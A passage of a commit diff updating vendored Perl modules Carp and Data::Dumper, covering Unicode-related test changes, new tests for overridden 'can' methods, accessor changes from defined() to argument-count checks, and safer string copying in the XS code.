 like lm(rx("L${chr_e9}on")), qr/main::lm\(qr\(L${xe9_rx}on\)u?\)/;
+like lm(qr/L${xe9}on \x{2603} !/), qr/main::lm\(qr\(L\\x${e9}on \\x\{2603\} !\)u?\)/;
+like lm(rx("L${chr_e9}on \x{2603} !")), qr/main::lm\(qr\(L${xe9_rx}on ${x2603_rx} !\)u?\)/;
 
-
-SKIP: {
-    skip "wide-character-related bug in pre-5.18 perls", 2 if $] lt 5.017_001;
-
-    like lm(qr/L${chr_e9}on \x{2603} !/), qr/main::lm\(qr\(L\\x\{?${e9}\}?on \\x\{2603\} !\)u?\)/;
-    like lm(rx("L${chr_e9}on \x{2603} !")), qr/main::lm\(qr\(L${xe9_rx}on ${x2603_rx} !\)u?\)/;
-}
-
 $Carp::MaxArgLen = 5;
 foreach my $arg ("foo bar baz", "foo bar ba", "foo bar b", "foo bar ", "foo bar", "foo ba") {
     like lm(rx($arg)), qr/main::lm\(qr\(fo\)\.\.\.u?\)/;
@@ -60,16 +58,10 @@
     like lm(rx($arg)), qr/main::lm\(qr\(\Q$arg\E\)u?\)/;
 }
 like lm(qr/foo.bar$/sm), qr/main::lm\(qr\(fo\)\.\.\.u?ms\)/;
-
-SKIP: {
-    skip "wide-character-related bug in pre-5.18 perls", 4 if $] lt 5.017_001;
-
-    like lm(qr/L${chr_e9}on \x{2603} !/), qr/main::lm\(qr\(L\\\)\.\.\.u?\)/;
-    like lm(rx("L${chr_e9}on \x{2603} !")), qr/main::lm\(qr\(L\\\)\.\.\.u?\)/;
-    like lm(qr/L${chr_e9}on\x{2603}/), qr/main::lm\(qr\(L\\\)\.\.\.u?\)/;
-    like lm(rx("L${chr_e9}on\x{2603}")), qr/main::lm\(qr\(L\\\)\.\.\.u?\)/;
-}
-
+like lm(qr/L${xe9}on \x{2603} !/), qr/main::lm\(qr\(L\\\)\.\.\.u?\)/;
+like lm(rx("L${chr_e9}on \x{2603} !")), qr/main::lm\(qr\(L\\\)\.\.\.u?\)/;
+like lm(qr/L${xe9}on\x{2603}/), qr/main::lm\(qr\(L\\\)\.\.\.u?\)/;
+like lm(rx("L${chr_e9}on\x{2603}")), qr/main::lm\(qr\(L\\\)\.\.\.u?\)/;
 like lm(qr/foo\x{2603}/), qr/main::lm\(qr\(fo\)\.\.\.u?\)/;
 like lm(rx("foo\x{2603}")), qr/main::lm\(qr\(fo\)\.\.\.u?\)/;
 
@@ -77,12 +69,7 @@
 foreach my $arg ("wibble:" x 20, "foo bar baz") {
     like lm(rx($arg)), qr/main::lm\(qr\(\Q$arg\E\)u?\)/;
 }
+like lm(qr/L${xe9}on\x{2603}/), qr/main::lm\(qr\(L\\x${e9}on\\x\{2603\}\)u?\)/;
+like lm(rx("L${chr_e9}on\x{2603}")), qr/main::lm\(qr\(L${xe9_rx}on${x2603_rx}\)u?\)/;
 
-SKIP: {
-    skip "wide-character-related bug in pre-5.18 perls", 2 if $] lt 5.017_001;
-
-    like lm(qr/L${chr_e9}on\x{2603}/), qr/main::lm\(qr\(L\\x\{?${e9}\}?on\\x\{2603\}\)u?\)/;
-    like lm(rx("L${chr_e9}on\x{2603}")), qr/main::lm\(qr\(L${xe9_rx}on${x2603_rx}\)u?\)/;
-}
-
 1;

Modified: vendor/perl/dist/dist/Carp/t/arg_string.t
===================================================================
--- vendor/perl/dist/dist/Carp/t/arg_string.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Carp/t/arg_string.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,9 +1,9 @@
 use warnings;
 use strict;
 
-# confirm that stack args are displayed correctly by longmess()
+# confirm that string-typed stack args are displayed correctly by longmess()
 
-use Test::More tests => 32;
+use Test::More tests => 33;
 
 use Carp ();
 
@@ -17,7 +17,8 @@
                           : ((ord("A") == 193)
                              ? 0x51
                              : 0xE9));
-my $chr_e9 = chr eval "0x$e9";
+my $xe9 = "\\x$e9";
+my $chr_e9 = eval "\"$xe9\"";
 my $nl_as_hex = sprintf "%x", ord("\n");
 
 like lm(3), qr/main::lm\(3\)/;
@@ -33,9 +34,9 @@
               \) /x;
 like lm(""), qr/main::lm\(""\)/;
 like lm("foo"), qr/main::lm\("foo"\)/;
+like lm("a&b"), qr/main::lm\("a&b"\)/;
 like lm("a\$b\@c\\d\"e"), qr/main::lm\("a\\\$b\\\@c\\\\d\\\"e"\)/;
 like lm("a\nb"), qr/main::lm\("a\\x\{$nl_as_hex\}b"\)/;
-
 like lm("a\x{666}b"), qr/main::lm\("a\\x\{666\}b"\)/;
 like lm("\x{666}b"), qr/main::lm\("\\x\{666\}b"\)/;
 like lm("a\x{666}"), qr/main::lm\("a\\x\{666\}"\)/;

Added: vendor/perl/dist/dist/Carp/t/broken_can.t
===================================================================
--- vendor/perl/dist/dist/Carp/t/broken_can.t	                        (rev 0)
+++ vendor/perl/dist/dist/Carp/t/broken_can.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,15 @@
+use Test::More tests => 1;
+
+# [perl #132910]
+
+package Foo;
+sub can { die }
+
+package main;
+
+use Carp;
+
+eval {
+    sub { confess-sins }->(bless[], Foo);
+};
+like $@, qr/^-sins at /;

Added: vendor/perl/dist/dist/Carp/t/broken_univ_can.t
===================================================================
--- vendor/perl/dist/dist/Carp/t/broken_univ_can.t	                        (rev 0)
+++ vendor/perl/dist/dist/Carp/t/broken_univ_can.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,24 @@
+# [perl #132910]
+# This mock-up breaks Test::More.  Don’t use Test::More.
+
+sub UNIVERSAL::can { die; }
+
+# Carp depends on this to detect the override:
+BEGIN { $UNIVERSAL::can::VERSION = 0xbaff1ed_bee; }
+
+use Carp;
+
+eval {
+    sub { confess-sins }->(bless[], Foo);
+};
+print "1..1\n";
+if ($@ !~ qr/^-sins at /) {
+  print "not ok 1\n";
+  print "# Expected -sins at blah blah blah...\n";
+  print "# Instead, we got:\n";
+  $@ =~ s/^/#   /mg;
+  print $@;
+}
+else {
+  print "ok 1\n";
+}

Added: vendor/perl/dist/dist/Carp/t/stack_after_err.t
===================================================================
--- vendor/perl/dist/dist/Carp/t/stack_after_err.t	                        (rev 0)
+++ vendor/perl/dist/dist/Carp/t/stack_after_err.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,69 @@
+use strict;
+use warnings;
+use Config;
+use IPC::Open3 1.0103 qw(open3);
+
+BEGIN {
+    if ($^O eq 'VMS') {
+        print "1..0 # IPC::Open3 needs porting\n";
+        exit;
+    }
+}
+
+my @tests=(
+    # Make sure we don’t try to load modules on demand in the presence of over-
+    # loaded args.  If there has been a syntax error, they won’t load.
+    [   'Carp does not try to load modules on demand for overloaded args',
+        "", qr/Looks lark.*o=ARRAY.* CODE/s,
+    ],
+    # Run the test also in the presence of
+    #  a) A UNIVERSAL::can module
+    #  b) A UNIVERSAL::isa module
+    #  c) Both
+    # since they follow slightly different code paths on old pre-5.10.1 perls.
+    [   'StrVal fallback in the presence of UNIVERSAL::isa',
+        'BEGIN { $UNIVERSAL::isa::VERSION = 1 }',
+        qr/Looks lark.*o=ARRAY.* CODE/s,
+    ],
+    [   'StrVal fallback in the presence of UNIVERSAL::can',
+        'BEGIN { $UNIVERSAL::can::VERSION = 1 }',
+        qr/Looks lark.*o=ARRAY.* CODE/s,
+    ],
+    [   'StrVal fallback in the presence of UNIVERSAL::can/isa',
+        'BEGIN { $UNIVERSAL::can::VERSION = $UNIVERSAL::isa::VERSION = 1 }',
+        qr/Looks lark.*o=ARRAY.* CODE/s,
+    ],
+);
+
+my ($test_num)= @ARGV;
+if (!$test_num) {
+    eval sprintf "use Test::More tests => %d; 1", 0+ at tests
+        or die "Failed to use Test::More: $@";
+    local $ENV{PERL5LIB} = join ($Config::Config{path_sep}, @INC);
+    foreach my $i (1 .. @tests) {
+        my($w, $r);
+        my $pid = open3($w, $r, undef, $^X, $0, $i);
+        close $w;
+        my $output = do{ local $/; <$r> };
+        waitpid($pid, 0);
+        like($output, $tests[$i-1][2], $tests[$i-1][0]);
+    }
+} else {
+    eval $tests[$test_num-1][1] . <<'END_OF_TEST_CODE'
+        no strict;
+        no warnings;
+        use Carp;
+        sub foom {
+          Carp::confess("Looks lark we got a error: $_[0]")
+        }
+        BEGIN {
+          *{"o::()"} = sub {};
+          *{'o::(""'} = sub {"hay"};
+          $o::OVERLOAD{dummy}++; # perls before 5.18 need this
+          *{"CODE::()"} = sub {};
+          $SIG{__DIE__} = sub { foom (@_, bless([], o), sub {}) }
+        }
+        $a +
+END_OF_TEST_CODE
+    or die $@;
+}

Modified: vendor/perl/dist/dist/Carp/t/vivify_stash.t
===================================================================
--- vendor/perl/dist/dist/Carp/t/vivify_stash.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Carp/t/vivify_stash.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,25 +1,25 @@
 BEGIN { print "1..5\n"; }
 
 our $has_utf8; BEGIN { $has_utf8 = exists($::{"utf8::"}); }
-our $has_overload; BEGIN { $has_overload = exists($::{"overload::"}); }
 our $has_B; BEGIN { $has_B = exists($::{"B::"}); }
+our $has_UNIVERSAL_isa; BEGIN { $has_UNIVERSAL_isa = exists($UNIVERSAL::{"isa::"}); }
 
 use Carp;
 sub { sub { Carp::longmess("x") }->() }->(\1, "\x{2603}", qr/\x{2603}/);
 
-print !(exists($::{"utf8::"}) xor $has_utf8) ? "" : "not ", "ok 1\n";
-print !(exists($::{"overload::"}) xor $has_overload) ? "" : "not ", "ok 2\n";
-print !(exists($::{"B::"}) xor $has_B) ? "" : "not ", "ok 3\n";
+print !(exists($::{"utf8::"}) xor $has_utf8) ? "" : "not ", "ok 1 # used utf8\n";
+print !(exists($::{"B::"}) xor $has_B) ? "" : "not ", "ok 2 # used B\n";
+print !(exists($UNIVERSAL::{"isa::"}) xor $has_UNIVERSAL_isa) ? "" : "not ", "ok 3 # used UNIVERSAL::isa\n";
 
 # Autovivify $::{"overload::"}
 () = \$::{"overload::"};
 () = \$::{"utf8::"};
 eval { sub { Carp::longmess() }->(\1) };
-print $@ eq '' ? "ok 4\n" : "not ok 4\n# $@";
+print $@ eq '' ? "ok 4 # longmess check1\n" : "not ok 4 # longmess check1\n# $@";
 
 # overload:: glob without hash
 undef *{"overload::"};
 eval { sub { Carp::longmess() }->(\1) };
-print $@ eq '' ? "ok 5\n" : "not ok 5\n# $@";
+print $@ eq '' ? "ok 5 # longmess check2\n" : "not ok 5 # longmess check2\n# $@";
 
 1;

Modified: vendor/perl/dist/dist/Data-Dumper/Changes
===================================================================
--- vendor/perl/dist/dist/Data-Dumper/Changes	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Data-Dumper/Changes	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,8 +6,22 @@
 
 =over 8
 
-=item 2,166 (Nov 29 2016)
+=item 2.167_02  (Aug  4 2017)
 
+Attempt to work around XS deparse issues on old perls.
+According to the few old perls at my disposure, this now repairs,
+for example 5.18, but 5.8.9 still barfs. My debugging hasn't
+really come up with much since all changes other than the deparse
+change look benign to me.
+Can someone who uses ancient perls please step up and take a look?
+--Steffen
+
+=item 2.167_01  (Jul 31 2017)
+
+CPAN dev release with the accumulated changes from core perl.
+
+=item 2.166 (Nov 29 2016)
+
 Reduce memory usage by not importing from Carp
 Reduce memory usage by removing unused overload require.
 

Modified: vendor/perl/dist/dist/Data-Dumper/Dumper.pm
===================================================================
--- vendor/perl/dist/dist/Data-Dumper/Dumper.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Data-Dumper/Dumper.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,7 +10,7 @@
 package Data::Dumper;
 
 BEGIN {
-    $VERSION = '2.167'; # Don't forget to set version and release
+    $VERSION = '2.170'; # Don't forget to set version and release
 }               # date in POD below!
 
 #$| = 1;
@@ -18,6 +18,8 @@
 use 5.006_001;
 require Exporter;
 
+use constant IS_PRE_520_PERL => $] < 5.020;
+
 use Carp ();
 
 BEGIN {
@@ -224,12 +226,19 @@
 sub DESTROY {}
 
 sub Dump {
-    return &Dumpxs
+  # On old versions of perl, the xs-deparse support can fail
+  # mysteriously. Barring copious spare time, it's best to revert
+  # to the previously standard behavior of using the pure perl dumper
+  # for deparsing on old perls. --Steffen
+  if (IS_PRE_520_PERL and ($Data::Dumper::Deparse or (ref($_[0]) && $_[0]->{deparse}))) {
+    return &Dumpperl;
+  }
+
+  return &Dumpxs
     unless $Data::Dumper::Useperl || (ref($_[0]) && $_[0]->{useperl})
-
             # Use pure perl version on earlier releases on EBCDIC platforms
         || (! $IS_ASCII && $] lt 5.021_010);
-    return &Dumpperl;
+  return &Dumpperl;
 }
 
 #
@@ -527,8 +536,8 @@
     $ref = \$val;
     if (ref($ref) eq 'GLOB') {  # glob
       my $name = substr($val, 1);
-      if ($name =~ /^[A-Za-z_][\w:]*$/ && $name ne 'main::') {
-        $name =~ s/^main::/::/;
+      $name =~ s/^main::(?!\z)/::/;
+      if ($name =~ /\A(?:[A-Z_a-z][0-9A-Z_a-z]*)?::(?:[0-9A-Z_a-z]+::)*[0-9A-Z_a-z]*\z/ && $name ne 'main::') {
         $sname = $name;
       }
       else {
@@ -618,7 +627,7 @@
 
 sub Indent {
   my($s, $v) = @_;
-  if (defined($v)) {
+  if (@_ >= 2) {
     if ($v == 0) {
       $s->{xpad} = "";
       $s->{sep} = "";
@@ -637,92 +646,92 @@
 
 sub Trailingcomma {
   my($s, $v) = @_;
-  defined($v) ? (($s->{trailingcomma} = $v), return $s) : $s->{trailingcomma};
+  @_ >= 2 ? (($s->{trailingcomma} = $v), return $s) : $s->{trailingcomma};
 }
 
 sub Pair {
     my($s, $v) = @_;
-    defined($v) ? (($s->{pair} = $v), return $s) : $s->{pair};
+    @_ >= 2 ? (($s->{pair} = $v), return $s) : $s->{pair};
 }
 
 sub Pad {
   my($s, $v) = @_;
-  defined($v) ? (($s->{pad} = $v), return $s) : $s->{pad};
+  @_ >= 2 ? (($s->{pad} = $v), return $s) : $s->{pad};
 }
 
 sub Varname {
   my($s, $v) = @_;
-  defined($v) ? (($s->{varname} = $v), return $s) : $s->{varname};
+  @_ >= 2 ? (($s->{varname} = $v), return $s) : $s->{varname};
 }
 
 sub Purity {
   my($s, $v) = @_;
-  defined($v) ? (($s->{purity} = $v), return $s) : $s->{purity};
+  @_ >= 2 ? (($s->{purity} = $v), return $s) : $s->{purity};
 }
 
 sub Useqq {
   my($s, $v) = @_;
-  defined($v) ? (($s->{useqq} = $v), return $s) : $s->{useqq};
+  @_ >= 2 ? (($s->{useqq} = $v), return $s) : $s->{useqq};
 }
 
 sub Terse {
   my($s, $v) = @_;
-  defined($v) ? (($s->{terse} = $v), return $s) : $s->{terse};
+  @_ >= 2 ? (($s->{terse} = $v), return $s) : $s->{terse};
 }
 
 sub Freezer {
   my($s, $v) = @_;
-  defined($v) ? (($s->{freezer} = $v), return $s) : $s->{freezer};
+  @_ >= 2 ? (($s->{freezer} = $v), return $s) : $s->{freezer};
 }
 
 sub Toaster {
   my($s, $v) = @_;
-  defined($v) ? (($s->{toaster} = $v), return $s) : $s->{toaster};
+  @_ >= 2 ? (($s->{toaster} = $v), return $s) : $s->{toaster};
 }
 
 sub Deepcopy {
   my($s, $v) = @_;
-  defined($v) ? (($s->{deepcopy} = $v), return $s) : $s->{deepcopy};
+  @_ >= 2 ? (($s->{deepcopy} = $v), return $s) : $s->{deepcopy};
 }
 
 sub Quotekeys {
   my($s, $v) = @_;
-  defined($v) ? (($s->{quotekeys} = $v), return $s) : $s->{quotekeys};
+  @_ >= 2 ? (($s->{quotekeys} = $v), return $s) : $s->{quotekeys};
 }
 
 sub Bless {
   my($s, $v) = @_;
-  defined($v) ? (($s->{'bless'} = $v), return $s) : $s->{'bless'};
+  @_ >= 2 ? (($s->{'bless'} = $v), return $s) : $s->{'bless'};
 }
 
 sub Maxdepth {
   my($s, $v) = @_;
-  defined($v) ? (($s->{'maxdepth'} = $v), return $s) : $s->{'maxdepth'};
+  @_ >= 2 ? (($s->{'maxdepth'} = $v), return $s) : $s->{'maxdepth'};
 }
 
 sub Maxrecurse {
   my($s, $v) = @_;
-  defined($v) ? (($s->{'maxrecurse'} = $v), return $s) : $s->{'maxrecurse'};
+  @_ >= 2 ? (($s->{'maxrecurse'} = $v), return $s) : $s->{'maxrecurse'};
 }
 
 sub Useperl {
   my($s, $v) = @_;
-  defined($v) ? (($s->{'useperl'} = $v), return $s) : $s->{'useperl'};
+  @_ >= 2 ? (($s->{'useperl'} = $v), return $s) : $s->{'useperl'};
 }
 
 sub Sortkeys {
   my($s, $v) = @_;
-  defined($v) ? (($s->{'sortkeys'} = $v), return $s) : $s->{'sortkeys'};
+  @_ >= 2 ? (($s->{'sortkeys'} = $v), return $s) : $s->{'sortkeys'};
 }
 
 sub Deparse {
   my($s, $v) = @_;
-  defined($v) ? (($s->{'deparse'} = $v), return $s) : $s->{'deparse'};
+  @_ >= 2 ? (($s->{'deparse'} = $v), return $s) : $s->{'deparse'};
 }
 
 sub Sparseseen {
   my($s, $v) = @_;
-  defined($v) ? (($s->{'noseen'} = $v), return $s) : $s->{'noseen'};
+  @_ >= 2 ? (($s->{'noseen'} = $v), return $s) : $s->{'noseen'};
 }
 
 # used by qquote below
@@ -1465,7 +1474,7 @@
 
 =head1 VERSION
 
-Version 2.167  (January 4 2017)
+Version 2.170
 
 =head1 SEE ALSO
 

Modified: vendor/perl/dist/dist/Data-Dumper/Dumper.xs
===================================================================
--- vendor/perl/dist/dist/Data-Dumper/Dumper.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Data-Dumper/Dumper.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -12,6 +12,14 @@
 #  define DD_USE_OLD_ID_FORMAT
 #endif
 
+#ifndef strlcpy
+#  ifdef my_strlcpy
+#    define strlcpy(d,s,l) my_strlcpy(d,s,l)
+#  else
+#    define strlcpy(d,s,l) strcpy(d,s)
+#  endif
+#endif
+
 /* These definitions are ASCII only.  But the pure-perl .pm avoids
  * calling this .xs file for releases where they aren't defined */
 
@@ -41,6 +49,17 @@
                           || (((UV) (c)) >= '0' && ((UV) (c)) <= '9'))
 #endif
 
+/* SvPVCLEAR only from perl 5.25.6 */
+#ifndef SvPVCLEAR
+#  define SvPVCLEAR(sv) sv_setpvs((sv), "")
+#endif
+
+#ifndef memBEGINs
+#  define memBEGINs(s1, l, s2)                                              \
+            (   (l) >= sizeof(s2) - 1                                       \
+             && memEQ(s1, "" s2 "", sizeof(s2)-1))
+#endif
+
 /* This struct contains almost all the user's desired configuration, and it
  * is treated as constant by the recursive function. This arrangement has
  * the advantage of needing less memory than passing all of them on the
@@ -851,7 +870,7 @@
 	    SV * const ixsv = newSViv(0);
 	    /* allowing for a 24 char wide array index */
 	    New(0, iname, namelen+28, char);
-	    (void)strcpy(iname, name);
+	    (void) strlcpy(iname, name, namelen+28);
 	    inamelen = namelen;
 	    if (name[0] == '@') {
 		sv_catpvs(retval, "(");
@@ -1285,7 +1304,7 @@
 	else if (realtype == SVt_PVGV) {/* GLOBs can end up with scribbly names */
 	    c = SvPV(val, i);
 	    if(i) ++c, --i;			/* just get the name */
-	    if (i >= 6 && strncmp(c, "main::", 6) == 0) {
+	    if (memBEGINs(c, i, "main::")) {
 		c += 4;
 #if PERL_VERSION < 7
 		if (i == 6 || (i == 7 && c[6] == '\0'))
@@ -1295,37 +1314,30 @@
 		    i = 0; else i -= 4;
 	    }
             if (globname_needs_quote(c,i)) {
-#ifdef GvNAMEUTF8
-	      if (GvNAMEUTF8(val)) {
-		sv_grow(retval, SvCUR(retval)+2);
+		sv_grow(retval, SvCUR(retval)+3);
 		r = SvPVX(retval)+SvCUR(retval);
-		r[0] = '*'; r[1] = '{';
+		r[0] = '*'; r[1] = '{'; r[2] = 0;
 		SvCUR_set(retval, SvCUR(retval)+2);
-                esc_q_utf8(aTHX_ retval, c, i, 1, style->useqq);
+                i = 3 + esc_q_utf8(aTHX_ retval, c, i,
+#ifdef GvNAMEUTF8
+			!!GvNAMEUTF8(val)
+#else
+			0
+#endif
+			, style->useqq);
 		sv_grow(retval, SvCUR(retval)+2);
 		r = SvPVX(retval)+SvCUR(retval);
 		r[0] = '}'; r[1] = '\0';
-		i = 1;
-	      }
-	      else
-#endif
-	      {
-		sv_grow(retval, SvCUR(retval)+6+2*i);
-		r = SvPVX(retval)+SvCUR(retval);
-		r[0] = '*'; r[1] = '{';	r[2] = '\'';
-		i += esc_q(r+3, c, i);
-		i += 3;
-		r[i++] = '\''; r[i++] = '}';
-		r[i] = '\0';
-	      }
+		SvCUR_set(retval, SvCUR(retval)+1);
+		r = r+1 - i;
 	    }
 	    else {
 		sv_grow(retval, SvCUR(retval)+i+2);
 		r = SvPVX(retval)+SvCUR(retval);
-		r[0] = '*'; strcpy(r+1, c);
+		r[0] = '*'; strlcpy(r+1, c, SvLEN(retval));
 		i++;
+		SvCUR_set(retval, SvCUR(retval)+i);
 	    }
-	    SvCUR_set(retval, SvCUR(retval)+i);
 
             if (style->purity) {
 		static const char* const entries[] = { "{SCALAR}", "{ARRAY}", "{HASH}" };

Modified: vendor/perl/dist/dist/Data-Dumper/t/dumper.t
===================================================================
--- vendor/perl/dist/dist/Data-Dumper/t/dumper.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Data-Dumper/t/dumper.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -108,7 +108,7 @@
   ++$TNUM; print "ok $TNUM # skip $reason\n";
 }
 
-$TMAX = 450;
+$TMAX = 468;
 
 # Force Data::Dumper::Dump to use perl. We test Dumpxs explicitly by calling
 # it direct. Out here it lets us knobble the next if to test that the perl
@@ -1740,3 +1740,66 @@
         TEST (qq(Dumper("\n")), '\n alone');
         TEST (qq(Data::Dumper::DumperX("\n")), '\n alone') if $XS;
 }
+#############
+our @globs = map { $_, \$_ } map { *$_ } map { $_, "s::$_" }
+		"foo", "\1bar", "L\x{e9}on", "m\x{100}cron", "snow\x{2603}";
+$WANT = <<'EOT';
+#$globs = [
+#  *::foo,
+#  \*::foo,
+#  *s::foo,
+#  \*s::foo,
+#  *{"::\1bar"},
+#  \*{"::\1bar"},
+#  *{"s::\1bar"},
+#  \*{"s::\1bar"},
+#  *{"::L\351on"},
+#  \*{"::L\351on"},
+#  *{"s::L\351on"},
+#  \*{"s::L\351on"},
+#  *{"::m\x{100}cron"},
+#  \*{"::m\x{100}cron"},
+#  *{"s::m\x{100}cron"},
+#  \*{"s::m\x{100}cron"},
+#  *{"::snow\x{2603}"},
+#  \*{"::snow\x{2603}"},
+#  *{"s::snow\x{2603}"},
+#  \*{"s::snow\x{2603}"}
+#];
+EOT
+{
+  local $Data::Dumper::Useqq = 1;
+  TEST (q(Data::Dumper->Dump([\@globs], ["globs"])), 'globs: Dump()');
+  TEST (q(Data::Dumper->Dumpxs([\@globs], ["globs"])), 'globs: Dumpxs()')
+    if $XS;
+}
+#############
+$WANT = <<'EOT';
+#$v = {
+#  a => \*::ppp,
+#  b => \*{'::a/b'},
+#  c => \*{"::a\x{2603}b"}
+#};
+#*::ppp = {
+#  a => 1
+#};
+#*{'::a/b'} = {
+#  b => 3
+#};
+#*{"::a\x{2603}b"} = {
+#  c => 5
+#};
+EOT
+{
+  *ppp = { a => 1 };
+  *{"a/b"} = { b => 3 };
+  *{"a\x{2603}b"} = { c => 5 };
+  our $v = { a => \*ppp, b => \*{"a/b"}, c => \*{"a\x{2603}b"} };
+  local $Data::Dumper::Purity = 1;
+  TEST (q(Data::Dumper->Dump([$v], ["v"])), 'glob purity: Dump()');
+  TEST (q(Data::Dumper->Dumpxs([$v], ["v"])), 'glob purity: Dumpxs()') if $XS;
+  $WANT =~ tr/'/"/;
+  local $Data::Dumper::Useqq = 1;
+  TEST (q(Data::Dumper->Dump([$v], ["v"])), 'glob purity: Dump()');
+  TEST (q(Data::Dumper->Dumpxs([$v], ["v"])), 'glob purity: Dumpxs()') if $XS;
+}

Modified: vendor/perl/dist/dist/Data-Dumper/t/indent.t
===================================================================
--- vendor/perl/dist/dist/Data-Dumper/t/indent.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Data-Dumper/t/indent.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,7 +14,7 @@
 use strict;
 
 use Data::Dumper;
-use Test::More tests => 10;
+use Test::More tests => 9;
 use lib qw( ./t/lib );
 use Testing qw( _dumptostr );
 
@@ -35,10 +35,6 @@
 $dumpstr{indent_no_arg} = _dumptostr($dumper);
 
 $dumper = Data::Dumper->new([$hash]);
-$dumper->Indent(undef);
-$dumpstr{indent_undef} = _dumptostr($dumper);
-
-$dumper = Data::Dumper->new([$hash]);
 $dumper->Indent(0);
 $dumpstr{indent_0} = _dumptostr($dumper);
 # $VAR1 = {'foo' => 42}; # no newline
@@ -59,8 +55,6 @@
 
 is($dumpstr{noindent}, $dumpstr{indent_no_arg},
     "absence of Indent is same as Indent()");
-is($dumpstr{noindent}, $dumpstr{indent_undef},
-    "absence of Indent is same as Indent(undef)");
 isnt($dumpstr{noindent}, $dumpstr{indent_0},
     "absence of Indent is different from Indent(0)");
 isnt($dumpstr{indent_0}, $dumpstr{indent_1},

Modified: vendor/perl/dist/dist/Data-Dumper/t/misc.t
===================================================================
--- vendor/perl/dist/dist/Data-Dumper/t/misc.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Data-Dumper/t/misc.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -15,7 +15,7 @@
 use strict;
 
 use Data::Dumper;
-use Test::More tests => 20;
+use Test::More tests => 18;
 use lib qw( ./t/lib );
 use Testing qw( _dumptostr );
 
@@ -77,16 +77,9 @@
     $dumps{'noprev'} = _dumptostr($obj);
 
     $obj = Data::Dumper->new([$a,$b]);
-    $obj->Pad(undef);
-    $dumps{'undef'} = _dumptostr($obj);
-
-    $obj = Data::Dumper->new([$a,$b]);
     $obj->Pad('');
     $dumps{'emptystring'} = _dumptostr($obj);
 
-    is($dumps{'noprev'}, $dumps{'undef'},
-        "No setting for \$Data::Dumper::Pad and Pad(undef) give same result");
-
     is($dumps{'noprev'}, $dumps{'emptystring'},
         "No setting for \$Data::Dumper::Pad and Pad('') give same result");
 
@@ -114,16 +107,9 @@
     $dumps{'noprev'} = _dumptostr($obj);
 
     $obj = Data::Dumper->new([$a,$b]);
-    $obj->Varname(undef);
-    $dumps{'undef'} = _dumptostr($obj);
-
-    $obj = Data::Dumper->new([$a,$b]);
     $obj->Varname('');
     $dumps{'emptystring'} = _dumptostr($obj);
 
-    is($dumps{'noprev'}, $dumps{'undef'},
-        "No setting for \$Data::Dumper::Varname and Varname(undef) give same result");
-
     # Because Varname defaults to '$VAR', providing an empty argument to
     # Varname produces a non-default result.
     isnt($dumps{'noprev'}, $dumps{'emptystring'},

Modified: vendor/perl/dist/dist/Data-Dumper/t/pair.t
===================================================================
--- vendor/perl/dist/dist/Data-Dumper/t/pair.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Data-Dumper/t/pair.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -15,7 +15,7 @@
 }
 
 use strict;
-use vars qw($want_colon $want_comma);
+our ($want_colon, $want_comma);
 use Test::More tests => 9;
 
 no warnings qw(once);

Modified: vendor/perl/dist/dist/Data-Dumper/t/purity_deepcopy_maxdepth.t
===================================================================
--- vendor/perl/dist/dist/Data-Dumper/t/purity_deepcopy_maxdepth.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Data-Dumper/t/purity_deepcopy_maxdepth.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,7 +16,7 @@
 use strict;
 
 use Data::Dumper;
-use Test::More tests => 24;
+use Test::More tests => 22;
 use lib qw( ./t/lib );
 use Testing qw( _dumptostr );
 
@@ -80,14 +80,6 @@
 
     is($dumps{'noprev'}, $dumps{'objzero'},
         "No previous Purity setting equivalent to Purity(0)");
-
-    $purity = undef;
-    $obj = Data::Dumper->new([$a,$b,$c], [qw(a b c)]);
-    $obj->Purity($purity);
-   $dumps{'objundef'} = _dumptostr($obj);
-
-    is($dumps{'noprev'}, $dumps{'objundef'},
-        "No previous Purity setting equivalent to Purity(undef)");
 }
 
 {
@@ -364,13 +356,6 @@
     is($dumps{'noprev'}, $dumps{'maxdepthempty'},
         "No previous Maxdepth setting equivalent to Maxdepth() with no argument");
 
-    $obj = Data::Dumper->new([$f], [qw(f)]);
-    $obj->Maxdepth(undef);
-    $dumps{'maxdepthundef'} = _dumptostr($obj);
-
-    is($dumps{'noprev'}, $dumps{'maxdepthundef'},
-        "No previous Maxdepth setting equivalent to Maxdepth(undef)");
-
     $maxdepth = 3;
     $obj = Data::Dumper->new([$f], [qw(f)]);
     $obj->Maxdepth($maxdepth);

Modified: vendor/perl/dist/dist/Data-Dumper/t/quotekeys.t
===================================================================
--- vendor/perl/dist/dist/Data-Dumper/t/quotekeys.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Data-Dumper/t/quotekeys.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -86,10 +86,9 @@
     $obj->Quotekeys($quotekeys);
     $dumps{'objqkundef'} = _dumptostr($obj);
 
-    note("Quotekeys(undef) will fall back to the default value\nfor \$Data::Dumper::Quotekeys, which is a true value.");
-    isnt($dumps{'ddqkundef'}, $dumps{'objqkundef'},
+    is($dumps{'ddqkundef'}, $dumps{'objqkundef'},
